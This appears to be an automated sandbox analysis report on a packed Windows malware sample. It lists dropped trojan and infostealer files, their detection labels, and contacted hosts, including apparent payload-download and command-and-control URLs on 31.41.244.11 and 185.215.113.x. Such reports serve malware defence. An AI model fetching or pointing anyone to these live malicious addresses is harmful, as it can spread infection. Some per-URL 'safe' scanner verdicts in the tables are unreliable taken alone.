Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe8510001	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeAppData	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeU	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe85y	0%	Avira URL Cloud	safe
https://property-imper.sbs/xi	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe;	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php8509001	100%	Avira URL Cloud	malware
https://html.spec.whatwg.org/#the-hr-element-2	0%	Avira URL Cloud	safe
https://screenshots.firefox.comzA8	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe8	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exek9a	0%	Avira URL Cloud	safe
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsr	0%	Avira URL Cloud	safe
http://www.ethiopic.org/Collation/OrderedLists.html.	0%	Avira URL Cloud	safe
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpindows	100%	Avira URL Cloud	malware
https://youtube.comr	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeN	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
https://property-imper.sbs/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 0000002A.00000002.2956336431.000001FA7398F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.comZ	firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1#	firefox.exe, 0000002A.00000002.2942457258.000001FA72F98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-timesp	firefox.exe, 0000002A.00000002.2943968009.000001FA73061000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/xi	1026aa8304.exe, 0000000A.00000003.2704318174.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.comzA8	firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	1026aa8304.exe, 00000007.00000003.2539947005.0000000005661000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002A.00000002.3010174195.000001FA79487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000002A.00000002.2951780775.000001FA737DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2936426983.000001FA678D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe85y	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe8510001	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe8	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.leboncoin.fr/	firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2842917948.000001FA782EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2845084444.000001FA782ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002A.00000002.3007673049.000001FA79127000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/accountgWindowsWithUnloadHandler.panel-header	firefox.exe, 0000002A.00000002.2992964419.000001FA77FAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA7300C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2842917948.000001FA782EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2845084444.000001FA782ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA7373B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000002A.00000002.2968618116.000001FA76391000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com	firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/#the-hr-element-2	firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php8509001	skotes.exe, 00000006.00000002.3040117315.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2992736414.000001FA77F74000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000018.00000003.2729184224.000002350A1A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3004495789.000001FA78DB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 0000002A.00000003.2820245900.000001FA77D86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2831751222.000001FA77F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2828743197.000001FA77F89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2819654986.000001FA77E7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeAppData	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe;	skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeU	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000002A.00000002.2945499995.000001FA73194000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/	firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.widevine.com/	firefox.exe, 0000002A.00000002.2957361815.000001FA73A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exek9a	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsr	firefox.exe, 0000002A.00000002.3010174195.000001FA79487000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	firefox.exe, 0000002A.00000002.2956336431.000001FA7398F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeN	skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpindows	3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	false		high
